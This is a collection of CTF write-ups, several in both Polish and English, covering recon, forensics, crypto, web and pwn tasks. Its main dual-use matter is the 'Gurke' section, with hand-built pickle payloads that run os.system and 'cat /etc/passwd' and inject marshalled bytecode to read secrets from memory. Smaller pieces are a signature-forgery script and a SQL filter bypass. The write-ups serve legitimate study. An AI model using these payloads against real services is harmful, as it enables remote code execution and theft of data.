text_chunk
stringlengths
151
703k
##Dictator (Recon, 300p) Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Aplphabets will help you to know the country of this Ruler. Who was this Ruler? ###PL[ENG](#eng-version) Dostajemy informacje że flagą jest dyktator, oraz że coś na jego temat może powiedzieć ex-ochroniarz. Dodatkowo dostajemy 5 tekstów (mają literówki i są pomieszane) i każdy z nich ma wskazać słowo.Z połączenia tych słów można uzyskać nazwę kraju szukanego dyktatora. Wszystkie teksty [tutaj](TheLastRuler.txt) Pierwszy tekst pochodzi z http://wadiya.wikia.com/wiki/Wadiya Drugi z https://en.wikipedia.org/wiki/Lion Trzeci z https://en.wikipedia.org/wiki/Innings Pozostałych nie mogliśmy znaleźć, ale nie były konieczne. Mamy więc 3 słowa: `Wadiya, Lion, Innings`. Następnym krokiem było poszukanie informacji na temat dyktatorów oraz ex-ochroniarzy i dopasowanie kraju danego dyktatora do posiadanych słów. Trafiliśmy wreszcie na `Muammar Gaddafi` oraz `Libyia`. Kraj pasował do posiadanych słów, a dyktator okazał się flagą. ###ENG version We get information that the flag is the name of a dictator and that something can be learned from his ex-bodyguard.Additionally we get 5 texts (with misspells and some changes) and each one of the is pointing to a word.By combining those words we are supposed to get name of the country of the dictator. All texts [here](TheLastRuler.txt) First one comes from http://wadiya.wikia.com/wiki/Wadiya Second from https://en.wikipedia.org/wiki/Lion Third from https://en.wikipedia.org/wiki/Innings We could not find the last two, but they were not necessary. So we have 3 words: `Wadiya, Lion, Innings`.Next step was to look for informations regarding dictators and ex-bodyguards and matching the country with words we have.We finally stumbled upon `Muammar Gaddafi` and `Libyia`. The country was matching our words and the dictator turned out to be the flag.
##Gurke (Misc, 300p) ###PL[ENG](#eng-version) Na serwerze działa [skrypt](gurke.py) który odbiera od nas wiadomość a następnie deserializuje ją za pomocą pickle. Z kodu wynika, że w pamięci wczytana jest flaga pobrana z socketu a my mamy dość spore ograniczenia jeśli chodzi o wołanie funkcji kernela. Pickle pozwala na bardzo nietypowy sposób deserializacji obiektów - możemy w danej klasie nadpisać metodę `__reduce__()` i zwrócić z niej krotkę zawierającą: - funkcję - krotkę z parametrami dla tej funkcji A pickle podczas deserializacji obiektu tej klasy wywoła podaną funkcję z tymi parametrami. To oznacza, że teoretycznie możemy wykonać dowolną funkcję z dowolnymi parametrami po stronie serwera. W szczególności moglibyśmy wykonać na przykład `os.system("command")`! Pickle jako takie ma zaimplementowane pewne zabezpieczenia, które nie pozwalają na serializację obiektów z pewnymi funkcjami, niemniej format pickle jest na tyle prosty, że możemy napisać go ręcznie. Pickle wykonujący powyższe wywołanie `os.system("ls")` wyglądałby tak: ```cossystem(S'ls'tR.``` Pickle wykonuje podany przez nas kod jako maszyna ze stosem. Powyższy kod jest interpretowany jako: `cos\nsystem` - połóż na stosie funkcje `system` importowaną z modułu `os` `(` - połóż na stosie marker `S'ls'` - połóż na stosie stringa `ls` `t` - pobierz ze stosu wszystko aż do najbliższego markera, zrób z tego krotkę i połóż ją na stosie `R` - pobierz ze stosu dwa elementy, pierwszy potraktuj jako argumenty a drugi jako funkcję którą należy z nimi wywołać, połóż na stosie wynik funkcji Dodatkowe operacje, które będą nam w tym zadaniu potrzebne to: `I123` - połóż na stosie integera o wartości 123 `)` - połóż na stosie pustą krotkę `d` - pobierz ze stosu wszystko do markera i zbuduj z tego słownik Znaki nowej linii są konieczne! Możemy oczywiście składać wywołania funkcji kaskadowo i na przykład wywołanie `os.write(1, subprocess.check_output("cat /etc/passwd"))` możemy wysłać jako: ```coswrite(I1csubprocesscheck_output(S'cat /etc/passwd'tRtR.``` Potrafimy więc wykonywać niemalże dowolny kod na zdalnej maszynie, o ile funkcja którą chcemy wywołać jest tam dostępna. Teraz czas zastanowić się jak użyć tego do uzyskania samej flagi. Flagę można odczytać przez socket, ale takiej możliwości nie mamy ze względu na ograniczenia nałożne na skrypt. Pozostaje nam jedynie wyciągnięcie flagi, która jest wczytana do pamięci programu działającego na serwerze. Wykorzystamy do tego dostępny na serwerze pakiet `inspect`. Pozwala on między innymi na operacje `inspect.currentframe()`, `inspect.getouterframes()` oraz `inspect.getmembers()`. Pierwsza funkcja zwraca aktualną ramkę stosu. Druga zwraca listę informacji o ramkach stosu, które są wyżej od naszej (w tym same ramki). Trzecia zwraca dane wyciągnięte z podanej ramki stosu. Chcemy wykonać kaskadę `inspect.getouterframes(inspect.currentframe())` która zwróci nam listę informacji na temat ramek powyżej naszej, czyli w szczególności także ramkę w której znajduje się poszukiwana przez nas flaga. Wypisując na ekran kolejne elementy tej listy możemy odczytać że interesująca nas ramka jest 3 elementem listy, a sama ramka jest pierwszym elementem krotki. Więc dostęp do ramki wymaga: ```pythoncurrent_frame = inspect.currentframe()outer_frames = inspect.getouterframes(current_frame)frame_with_flag = outer_frames[3][0]``` Lub zapisanego zwięźlej `inspect.getouterframes(inspect.currentframe())[3][0]` Następnie używamy funkcji `inspect.getmembers()` do pobrania informacji o ramce, gdzie znajdują się też wartości zmiennych globalnych w tej ramce, w tym naszej flagi. Serwer przycina informacje które dostajemy więc musimy lokalnie policzyć gdzie dokładnie znajduje się flaga. Okazuje się, że z wyniku `getmembers` potrzebujemy pobrać 6 od końca element zwróconej listy, z niego pobrać element o indeksie 1 i uzyskamy w ten sposób słownik zmiennych globalnych. Flaga nazywa się `flag` i jest obiektem klasy, który ma pole `flag`. Potrzebujemy więc: ```pythonframedata = inspect.getmembers(frame_with_flag)flag_value = framedata[-6][1]['flag'].flag``` Potrzebujemy więc kaskadowego wywołania: `os.write(1,inspect.getmembers(inspect.getouterframes(inspect.currentframe())[3][0])[-6][1]['flag'].flag)` Pojawia się jednak problem - operacje indeksowania list oraz pobierania elementu słownika nie są dla nas dostępne w postaci funkcji (ponieważ na przykład pakiet `list` nie jest importowany po stronie serwera). Na szczęście na serwerze dostępne są jeszcze pakiety `marshal`, `types` oraz `base64`. Możemy dzięki nim dokonać serializacji oraz deserializacji bajtkodu funkcji napisanej w pythonie. Możemy zamienić funkcje na stringa a potem z tego stringa odtworzyć funkcję, którą nadal da się wywołać! ```pythonimport base64import marshalimport types def fun(arg): print('test ' + arg) marshaled_bytecode = marshal.dumps(fun.func_code)printable_string = base64.b64encode(marshaled_bytecode)print(printable_string)decoded_bytecode = base64.b64decode(printable_string)recovered_code = marshal.loads(decoded_bytecode)callable_function = types.FunctionType(recovered_code, {}, "")callable_function("argument")``` Powyższy kod prezentuje jak można zbudować stringa z "funkcją" a następnie jak tą funkcję odtworzyć. Nie trudno zauważyć, że odtworzenie funkcji to kaskada: `types.FunctionType(marshal.loads(base64.b64decode("base64 code")),{},"")` I taką operację możemy zapisać prosto w postaci pickle: ```ctypesFunctionType(cmarshalloads(cbase64b64decode(S'base64 code'tRtR(dS''))tR``` I w ten sposób na stosie znajdzie się nasza własna funkcja. Możemy w ten sposób przygotować funkcje z brakującymi operacjami `frames[3][0]` oraz `frame_data[-6][1]['flag'].flag`, stworzyć z nich stringi base64 a następnie w pickle umieścić kod deserializujący te funkcje. Finalnie rozwiązanie dla tego zadania to (cały solver dostępny [tutaj](solver.py)): ```pythondef fun1(frames): return frames[3][0] def fun2(frames_data): return frames_data[-6][1]['flag'].flag code1 = base64.b64encode(marshal.dumps(fun1.func_code))code2 = base64.b64encode(marshal.dumps(fun2.func_code)) class Flag(object): pass data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."``` Co daje nam pickle: ```coswrite(I1ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwEAAAABAAAAAgAAAEMAAABzEwAAAHwAAGQBABlkAgAZZAMAGWoAAFMoBAAAAE5p+v///2kBAAAAdAQAAABmbGFnKAEAAABSAAAAACgBAAAAdAsAAABmcmFtZXNfZGF0YSgAAAAAKAAAAABzRAAAAEM6L1VzZXJzL1BoYXJpc2FldXMvUHljaGFybVByb2plY3RzL3VudGl0bGVkL3NyYy8zMmMzL2d1cmtlL2d1cmtlLnB5dAQAAABmdW4yEAAAAHMCAAAAAAE='tRtR(dS''))tR(cinspectgetmembers(ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwEAAAABAAAAAgAAAEMAAABzDAAAAHwAAGQBABlkAgAZUygDAAAATmkDAAAAaQAAAAAoAAAAACgBAAAAdAYAAABmcmFtZXMoAAAAACgAAAAAc0QAAABDOi9Vc2Vycy9QaGFyaXNhZXVzL1B5Y2hhcm1Qcm9qZWN0cy91bnRpdGxlZC9zcmMvMzJjMy9ndXJrZS9ndXJrZS5weXQEAAAAZnVuMQwAAABzAgAAAAAB'tRtR(dS''(t(ttR(cinspectgetouterframes(cinspectcurrentframe)RtRtRtRtRtR.``` Wysłanie tak utworzonego kodu zwraca nam z serwera flagę `32c3_rooDahPaeR3JaibahYeigoong` Dla zainteresowanych, obszerny opis zastosowanej techniki exploitowania pickle: https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf ### ENG version There is a [script](gurke.py) running on the server, which takes an input we send and deserializes it with pickle.From the code we can see, that the flag is collected via socket and that we are constrained in terms of kernel functions we can use. Pickle allows a very unusual deserialization option - we can write a function `__reduce__()` in a class, and from this function return a tuple with: - function - tuple with parameters for this function Pickle when deserializing such object will call given function with those parameters. This means that we can, theoretically, call any function with any set of parmeters on the server side. In particular, we could call for example `os.system("command")`!Pickle has some internal security which prevents from using some functions, however the format of pickle output is so simple that we can just write it by hand. Pickle calling `os.system("ls")` can look like this: ```cossystem(S'ls'tR.``` Pickle executes this on a stack machine. The code above is interpreted as: `cos\nsystem` - push function `system` imported from module `os` on the stack `(` - push a marker on the stack `S'ls'` - push a string `ls` on the stack `t` - pop everything from the stack until a marker is reached, put all those elements in a tuple and push this tuple to the stack `R` - pop two elements from the stack, first one is arguments tuple and the second one is a function that should be called with those arguments, push result of the function on the stack Additional operations we will use to solve this task: `I123` - push an integer 123 ono the stack `)` - push empty tuple on the stack `d` - pop everyting from the stack until maker is reached, push a dictionary built with the values poped The newline characters in the code are necessary! We can, of course, do cascade function calls, for example: `os.write(1, subprocess.check_output("cat /etc/passwd"))` can be written as: ```coswrite(I1csubprocesscheck_output(S'cat /etc/passwd'tRtR.``` We can call pretty much any code on the remote machine, as long as the function exists on the target machine. Now we need to figure out how exactly we can get the flag.We could read the flag from the socket, just as server code does, however this is restricted by kernel functions block. Therefore, we need to get the flag from memory of the server script. We will use the `inspect` package which is available on the server. Is allows us to use `inspect.currentframe()`, `inspect.getouterframes()` and `inspect.getmembers()`.First one returns current stack frame. Second returns list of information on the stack frames above our frame (including the frame itself, line of code, script path etc).The third one returns data extracted from the given frame.We want to call a cascade `inspect.getouterframes(inspect.currentframe())` to get list of frames informations regarding frames above our current frame, and in particular there will be a frame with server code which contains a loaded `flag`. By printing elements of this list we can find out that the frame we are interested in is a third element of the list, and the frame itself is the first element of tuple. So we need: ```pythoncurrent_frame = inspect.currentframe()outer_frames = inspect.getouterframes(current_frame)frame_with_flag = outer_frames[3][0]``` Or written shorter: `inspect.getouterframes(inspect.currentframe())[3][0]` Next we use `inspect.getmembers()` to get informations about the frame, where we can find also global variables in this frame, including our flag.Server limits the output we can get so we need to test this locally to dig into the returned structure and find where the flag will be. We figure out that from `getmemebers` call we need 6th element from the end of the list, from this we need element of index 1 and we should get a dictionary of global variables. The flag variable is called `flag` and is an object of a class with field `flag`. So we need: ```pythonframedata = inspect.getmembers(frame_with_flag)flag_value = framedata[-6][1]['flag'].flag``` So a short cascade: `os.write(1,inspect.getmembers(inspect.getouterframes(inspect.currentframe())[3][0])[-6][1]['flag'].flag)` We bump into a complication - the list indexing and taking a dictionary value by key are not available to us (because for example `list` module is not imported on the server). However there are `marshal`, `types` and `base64` availble. We can use them to serialize and deserialize bytecode of a python function.We can make a printable string from a function and then recreate this function from string, and call it! ```pythonimport base64import marshalimport types def fun(arg): print('test ' + arg) marshaled_bytecode = marshal.dumps(fun.func_code)printable_string = base64.b64encode(marshaled_bytecode)print(printable_string)decoded_bytecode = base64.b64decode(printable_string)recovered_code = marshal.loads(decoded_bytecode)callable_function = types.FunctionType(recovered_code, {}, "")callable_function("argument")``` Code above presnts how we can make a printable string with a "function" and then how to recreate it. It's easy to see that this requires a cascade: `types.FunctionType(marshal.loads(base64.b64decode("base64 code")),{},"")` The reason for all those cascades I wrote is because they can be written as pickle very easily: ```ctypesFunctionType(cmarshalloads(cbase64b64decode(S'base64 code'tRtR(dS''))tR``` When we deserialize this with pickle on the stack there will be our own function passed as string. We can use this technique and create functions with missing `frames[3][0]` and `frame_data[-6][1]['flag'].flag` operations, make a base64 printable string from them and then place a deserialize code in pickle. The final solution for this task was (whole solver available [here](solver.py)): ```pythondef fun1(frames): return frames[3][0] def fun2(frames_data): return frames_data[-6][1]['flag'].flag code1 = base64.b64encode(marshal.dumps(fun1.func_code))code2 = base64.b64encode(marshal.dumps(fun2.func_code)) class Flag(object): pass data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."``` Which gives us a pickle: ```coswrite(I1ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwEAAAABAAAAAgAAAEMAAABzEwAAAHwAAGQBABlkAgAZZAMAGWoAAFMoBAAAAE5p+v///2kBAAAAdAQAAABmbGFnKAEAAABSAAAAACgBAAAAdAsAAABmcmFtZXNfZGF0YSgAAAAAKAAAAABzRAAAAEM6L1VzZXJzL1BoYXJpc2FldXMvUHljaGFybVByb2plY3RzL3VudGl0bGVkL3NyYy8zMmMzL2d1cmtlL2d1cmtlLnB5dAQAAABmdW4yEAAAAHMCAAAAAAE='tRtR(dS''))tR(cinspectgetmembers(ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwEAAAABAAAAAgAAAEMAAABzDAAAAHwAAGQBABlkAgAZUygDAAAATmkDAAAAaQAAAAAoAAAAACgBAAAAdAYAAABmcmFtZXMoAAAAACgAAAAAc0QAAABDOi9Vc2Vycy9QaGFyaXNhZXVzL1B5Y2hhcm1Qcm9qZWN0cy91bnRpdGxlZC9zcmMvMzJjMy9ndXJrZS9ndXJrZS5weXQEAAAAZnVuMQwAAABzAgAAAAAB'tRtR(dS''(t(ttR(cinspectgetouterframes(cinspectcurrentframe)RtRtRtRtRtR.``` And sending it to the server we get the flag: `32c3_rooDahPaeR3JaibahYeigoong` If you're interested in some more details on pickle exploiting (and some more info on the stack language) read: https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
## dub-key (crypto, 120p) > My friend set up a small signing scheme, however she won't let me sign stuff. Can you get it signed?>> Find it at dub-key-t8xd5pn6.9447.plumbing port 9447>> [dub-key.py](dub-key.py) ###PL[ENG](#eng-version) Rozpoczeliśmy od analizy algorytmu podpisywania i jego własności(w skrócie - podpisywanie polega na tym że zmieniamy wiadomość w graf, i podpis toiloczyn długości wszystkich cykli w wiadomości). Niestety, nie udało nam się skończyć pisać pełnego atakuprzed końcem CTFa, ale w ostatnich godzinach zdecydowaliśmy się wykonać trywialny atak na algorytm podpisywania. Otóż w tym zadaniu możemy podpisać dowolną wiadomość poza jedną - tą którą mamy podpisać żeby dostać flagę.Zauważyliśmy, że jeśli zmienimy tylko jeden bajt w wiadomości i podpiszemy go, to jest spora szansa że podpis się nie zmieniOszacowaliśmy tą szansę jako pesymistycznie 1/(256*e), ale prawdopodobnie znacznie większą - i rzeczywiście, w praktyce jużpo kilkudziesięciu sprawdzeniach udało się. Pomysł sprowadza się do: msg = odbierz_wiadomość_do_podpisania() msg1 = msg[-1] + '\x00' sig1 = podpisz(msg1) wyślij_podpis(sig1) Tak więc nasz cały kod atakujący wyglądał tak: ```pythonimport hashlibimport socketimport stringimport itertoolsimport base64 def pow(init): for c in itertools.product(string.lowercase, repeat=6): dat = init + ''.join(c) hash = hashlib.sha1(dat) if hash.digest().endswith('\x00\x00\x00'): return dat def recv(): return s.recv(99999) return r def send(msg): s.send(msg) while True: HOST, PORT = 'dub-key-t8xd5pn6.9447.plumbing', 9447 s = socket.socket() s.connect((HOST, PORT)) inp = recv() print inp p = pow(inp) send(p) r = recv() tosign = recv().split("\n")[0] dat = base64.b64decode(tosign) dat = dat[:-1] + '\x00' send('1\n') send(base64.b64encode(dat)) r = recv() # podpisane dane t = recv() # sign something send('2\n') send(r) print recv(), recv(), recv()``` I, co zaskakujące, zadziałał za pierwszym razem. Flaga: 9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG} ### ENG version We started with the analysis of the signature algorithm and its properties (in short - signing is done by changing the message into a graph and the signature is the number of all cycles in the message). Unfortunately, we didnt finish writing a full attack before the CTF ended, so in the last hours we decided to stick with a simple signature attack. In this task we can sign any message apart from one - the one that gives us the flag. We noticed that if we change a single byte in the message and sign it, there is high chance that the signature will not change. We assumed that pessimistic probability is 1/(256*e), but apparently it's much higher - in practice we got it right after few dozens of attempts. The idea is: msg = receive_message() msg1 = msg[-1] + '\x00' sig1 = sign(msg1) send_signature(sig1) So the code of entire attack was: ```pythonimport hashlibimport socketimport stringimport itertoolsimport base64 def pow(init): for c in itertools.product(string.lowercase, repeat=6): dat = init + ''.join(c) hash = hashlib.sha1(dat) if hash.digest().endswith('\x00\x00\x00'): return dat def recv(): return s.recv(99999) return r def send(msg): s.send(msg) while True: HOST, PORT = 'dub-key-t8xd5pn6.9447.plumbing', 9447 s = socket.socket() s.connect((HOST, PORT)) inp = recv() print inp p = pow(inp) send(p) r = recv() tosign = recv().split("\n")[0] dat = base64.b64decode(tosign) dat = dat[:-1] + '\x00' send('1\n') send(base64.b64encode(dat)) r = recv() # signed data t = recv() # sign something send('2\n') send(r) print recv(), recv(), recv()``` And it actually worked on first attempt. Flag: 9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}
[](ctf=hackover-2015)[](type=web)[](tags=headers)[](tools=burp-proxy) # hack-the-planet (web-50) ```Hacking a site is basic task for any skilled hacker.Methods range from brute force to talking to people.No matter which method you choose, don't forget to use head. HINT: His question is the answer http://hack-the-planet.hackover.h4q.it```Partial code from [source](../hack-the-planet-275983b5101b4c089443f0486c6bfb03.go). ```gopackage main const ( flagPW = "XXX" flag = "hackover15{XXX}") func login(w http.ResponseWriter, r *http.Request) { switch r.Method { case "HEAD": hint(w, r) case "POST": check(w, r) default: gotoFail(w, r, "/fail.jpg", http.StatusMethodNotAllowed) }} func hint(w http.ResponseWriter, r *http.Request) { if r.Header.Get("X-XXX") == "XXX" { w.Header().Set("X-XXX", flagPW) w.WriteHeader(http.StatusAccepted) return } w.Header().Set("X-XXX", "XXX") w.WriteHeader(http.StatusPartialContent)} func check(w http.ResponseWriter, r *http.Request) { if err := r.ParseForm(); err != nil { gotoFail(w, r, "fail.jpg", 401) } if r.PostForm.Get("pw") != flagPW { gotoFail(w, r, "fail.jpg", 401) } w.WriteHeader(http.StatusAccepted) if _, err := w.Write([]byte(flag)); err != nil { }}``` The hint is pretty obvious and the code block too.We use burp pxoxy to change the verb to HEAD.In the response we get "X-Hackers-Kate-Libby": "make it my first-born!"Searching for this we find Its a dialogue from "Hackers" movie. ```Kate Libby: You wish! You'll do shitwork, scan, crack copyrights...Dade Murphy: And if I win?Kate Libby: Make it my first-born!Dade Murphy: Make it our first-date!Kate Libby: I don't DO dates. But I don't lose either, so you're on!```And the hint: HINT: His question is the answer So we send a header:```"X-Hackers-Dade-Murphy": "And if I win?"```We get ```"X-Hackers-The-Five-Most-Used-Passwords-Are": "password,secret,love,god,sex"```in the response.Use password,secret,love,god,sex as password to login. We get the flag. > hackover15{Thepoolontheroofnusthavealeak}
# Sharif University CTF 2016 : We lost the Fashion Flag! **Category:** Forensics**Points:** 100**Solves:** 132**Description:** > In Sharif CTF we have lots of task ready to use, so we stored their data about author or creation date and other related information in some files. But one of our staff used a method to store data efficiently and left the group some days ago. So if you want the flag for this task, you have to find it yourself!>> Download [fashion.tar.gz](./fashion.tar.gz) ## Write-up by [Jashan Bhoora](https://github.com/jashanbhoora) We are given a single file for the challenge: `fashion.tar.gz` ```file fashion.tar.gzfashion.tar.gz: gzip compressed data, from Unix, last modified: Thu Feb 4 18:22:33 2016``` Seems to be pretty standard, so I decompress it (`tar xvzf fashion.tar.gz`), yielding another archive called `sharif_tasks.tgz` and a file called `fashion.model` ```file sharif_tasks.tgzsharif_tasks.tgz: gzip compressed data, from Unix, last modified: Mon Dec 21 09:19:30 2015``` ```file fashion.modelfashion.model: data``` I decided to look at the `fashion.model` file first. Opening it in `ghex`, it seems to contain hundreds of JSON style entries, and some random bytes filling the end of the file. The most useful part is the header of the file, which mentions "FemtoZip". A quick search for femtozip leads me to a [Github Repository](https://github.com/gtoubassi/femtozip "FemtoZip Github Repository"), that explains that FemtoZip is "a 'shared dictionary' compression library optimized for small documents that may not compress well with traditional tools such as gzip." Assuming that I would need it later, I installed it and moved on to the tgz.Decompressing the tgz (`tar xvzf sharif_task.tgz`) yields a single folder `out` with 12,431 files in it, numbered sequentially. Each is around 20-30 bytes in size and contains nothing resembling a flag. Guessing that the files may each have been compressed with FemtoZip, I started reading the FemtoZip Wiki to see how you decompress its output.On the third point on the tutorial, I find the command to decompress a folder of files using a model. We seem to have both parts, so I attempt the same command. ```./fzip --model fashion.model --decompress out/``` Success! Each file in `out` decompressed into a text file containing a single JSON object with 7 attributes: e.g. file `0`{'category': 'pwn', 'author': 'staff_3', 'challenge': 'Fashion', 'flag': 'SharifCTF{c6790c36aab123a82323865ef149afd4}', 'ctf': 'Shairf CTF', 'points': 55, 'year': 2013} e.g. file `18`{'category': 'forensic', 'author': 'staff_5', 'challenge': 'Fashion', 'flag': 'SharifCTF{15fea9e049540c22a9fac943c1f84d17}', 'ctf': 'Shairf CTF', 'points': 135, 'year': 2012} Considering the brief of the challenge, these files should be make up a "catalogue" for the flags used in each Sharif CTF. Therefore, I figured that if we could narrow down the JSON objects to one that was applicable to this challenge, we would find the correct flag. I used a series of quick and dirty greps to do this. First, take all the files and copy their string into one file, one per line: ```nl out/* > all.txt``` then wittle down the entries using a different attribute each time... ```cat all.txt | grep "forensic" | grep "Fashion" | grep ": 2016" | grep ": 100" > final.txt cat final.txt 1316 {'category': 'forensic', 'author': 'staff_3', 'challenge': 'Fashion', 'flag': 'SharifCTF{2b9cb0a67a536ff9f455de0bd729cf57}', 'ctf': 'Shairf CTF', 'points': 100, 'year': 2016}1364 {'category': 'forensic', 'author': 'staff_5', 'challenge': 'Fashion', 'flag': 'SharifCTF{41160e78ad2413765021729165991b54}', 'ctf': 'Shairf CTF', 'points': 100, 'year': 2016}2124 {'category': 'forensic', 'author': 'staff_2', 'challenge': 'Fashion', 'flag': 'SharifCTF{8725330d5ffde9a7f452662365a042be}', 'ctf': 'Shairf CTF', 'points': 100, 'year': 2016}4356 {'category': 'forensic', 'author': 'staff_3', 'challenge': 'Fashion', 'flag': 'SharifCTF{1bc898076c940784eb329d9cd1082a6d}', 'ctf': 'Shairf CTF', 'points': 100, 'year': 2016}11769 {'category': 'forensic', 'author': 'staff_6', 'challenge': 'Fashion', 'flag': 'SharifCTF{c19285fd5d56c13b169857d863a1b437}', 'ctf': 'Shairf CTF', 'points': 100, 'year': 2016}``` Great! Just 5 potential flags from 12,431! I set about attempting to submit them, and found first one to be the answer! Fun bit of detective work! Flag: SharifCTF{2b9cb0a67a536ff9f455de0bd729cf57} ## Other write-ups and resources * <https://github.com/gtoubassi/femtozip>* <https://www.xil.se/post/sharifctf-2016-forensics-fashion-flag-arturo182/>* <https://github.com/ctfs/write-ups-2016/tree/master/su-ctf-2016/forensics/we-lost-the-fashion-flag-100>* [0x90r00t](https://0x90r00t.com/2016/02/09/sharif-university-ctf-2016-forensic-100-we-lost-the-fashion-flag-write-up/)
## SQL (Pwn, 150p) > Our website executes your PostgreSQL queries. And flags are nicely formatted. ###ENG[PL](#pl-version) We are given address of webpage that executes our queries on CTF database. There is flag we are looking for in that database. Looks like that challenge is trivial, doesn't it? ![](screen.png) Unfortunatelly, there are two problems: * we have to present PoW (proof of work) before each request * query can't contain where, because otherwise engine will refuse to execute it Whatever, we start with getting column and table names from information_schema. We used simple script for that: ```pythonimport requests, hashlib, time, sys def query(sql): r=requests.get("http://ctf.sharif.edu:36455/chal/sql/") nonce=r.text.split("\n")[7].split(" ")[1] i=1 s="" print "Looking for collision" start=time.time() while True: if i%1000000==0: print i print time.time()-start, "s" s=str(i)+nonce m=hashlib.sha1() m.update(s) if m.hexdigest()[0:5]=="00000": break i+=1 print "Found collision: "+str(i) r=requests.post("http://ctf.sharif.edu:36455/chal/sql/", cookies=r.cookies, data={ "pow":str(i), "sql":sql } ) print r.text query(sys.argv[1])``` Where may be forbidden, but ORDER BY is not, so we can easily substitute WHERE by it, using ORDER BY (CASE WHEN condition THEN 1 ELSE 0 END). Implementing that idea... python hack.py "select * from messages order by (case when msg like '%Sharif%' then 1 else 0 end) desc" ... <td>95321145</td> <td>SharifCTF{f1c16ea7b34877811e4662101b6a0d30}</td> <td>1</td> Chalegne solved ###PL version Jest podany adres strony, która uruchamia nasze zapytania SQL na bazie CTFa. W bazie jest flaga. Czy może być prościej? ![](screen.png) Niestety, są dwa utrudnienia: * trzeba przedstawiać PoW przed każdym requestem * zaptytanie nie może zawierać "WHERE" (bo inaczej jest odrzucane) Tak czy inaczej, zaczynamy od zapytanie o kolumny i istniejące tabele (do tabeli information_schema), używając prostego skryptu: ```pythonimport requests, hashlib, time, sys def query(sql): r=requests.get("http://ctf.sharif.edu:36455/chal/sql/") nonce=r.text.split("\n")[7].split(" ")[1] i=1 s="" print "Looking for collision" start=time.time() while True: if i%1000000==0: print i print time.time()-start, "s" s=str(i)+nonce m=hashlib.sha1() m.update(s) if m.hexdigest()[0:5]=="00000": break i+=1 print "Found collision: "+str(i) r=requests.post("http://ctf.sharif.edu:36455/chal/sql/", cookies=r.cookies, data={ "pow":str(i), "sql":sql } ) print r.text query(sys.argv[1])``` O ile where jest zakazane, to ORDER BY nie jest, więc można łatwo uzyskać interesujący nas rekord używając ORDER BY (CASE WHEN warunek THEN 1 ELSE 0 END). Implementując ten pomysł... python hack.py "select * from messages order by (case when msg like '%Sharif%' then 1 else 0 end) desc" ... <td>95321145</td> <td>SharifCTF{f1c16ea7b34877811e4662101b6a0d30}</td> <td>1</td> Zadanie zrobione.
## uagent (Forensics, 100p) We think we are really cool, are we?[Download](ragent.pcap) ###ENG[PL](#pl-version) We start off with a pcap file, a file is begin downladed throughout some packets, let's export them by filtering them out and using File->Export Objects->Http ![screen1](screen1.png) The packets are generally okay, though we need to delete the first byte from every (except first packet), (the content-ranges mesh with each other with 1 byte) and there are some unnecessary packets at the end. We solve the first problem with a quick script in bash: ```bashfor file in `ls extractedFiles` done tail -c +2 $file > ../output/$file;done``` The only thing that's left is merging the files together, we simply do that with `cat * > out` We're left with a password-protected zip that has out flag.png in it. Another interesting thing is that requests for the zip are made with an interesting User-Agent: ![screen2](screen2.png) We extract the packets using the same techinque as in the first step and are left with a file of base64 encoded strings(be careful to ignore retransmissed packets) Finally, by writing our own script (or just using an online tool like [this one](http://www.motobit.com/util/base64-decoder-encoder.asp)) we convert our strings to an image: ![out](out.png) Using it to open the encrypted zip we get: ![flag](flag.png) There you go! Bonus pic, guessing the flag was not a fun part of the challange: ![guessing](guessing.png) ###PL version
## Interpolation (Reverse, 200p) NEWTON is an autonomous unmanned aerial vehicle (UAV). Where the UAV is refueled at t=180 ? Path planning: t x y 0; 35.645592; 50.951123; 20; 35.144068; 50.467725; 40; 34.729775; 48.204541; 60; 34.204433; 46.117139; 80; 33.602623; 44.908643; 100; 33.162285; 42.337842; 120; 33.712359; 40.140576; 140; 33.931410; 38.580518; 150; 33.894940; 37.745557; 170; 33.474422; 36.273389; 190; 35.32583531; 35.663648; 210; 33.130089; 35.19047214; 220; 32.409544; 35.141797; 230; 32.085525; 34.786115; The flag is: [the bridge`s name near the refule place][Latitude of the place with 5 digits after the decimal point][Longitude of the place with 5 digits after the decimal point] ###ENG[PL](#pl-version) Task description mentions NEWTON and the title was "interpolation" - so we used Newton's interpolation methodto find `(x, y)` at `t=180`. This gave us location - after checking it in Google Maps, there was indeed a bridge nearby. ###PL version Ponieważ zadanie wspominało o Newtonie i interpolacji, użyliśmy metody Newtona do znalezienia `(x, y)` w momencie`t=180`. To dało nam współrzędne geograficzne - po sprawdzeniu ich na mapach Google, okazało się, że faktycznie jestw pobliżu most, o który nas proszą w zadaniu.
# CatchMeIfYouCan > We got this log which is highly compressed. Find the intruder's secret. In this task we got a file that is compressed many times using various compression algorithms. Thankfully `file` comamndrecognizes all of them, which enables us to write a generic decompression script (`decompress.sh`). On the final layer,there was a couple of files containing multiple Gist GitHub links - most of them were not working though. Looking through some of them, there was [this one](https://gist.github.com/anonymous/ac2ce167c3d2c1170efe), containg an obfuscated JS algorithm, which gave us flag when executed.
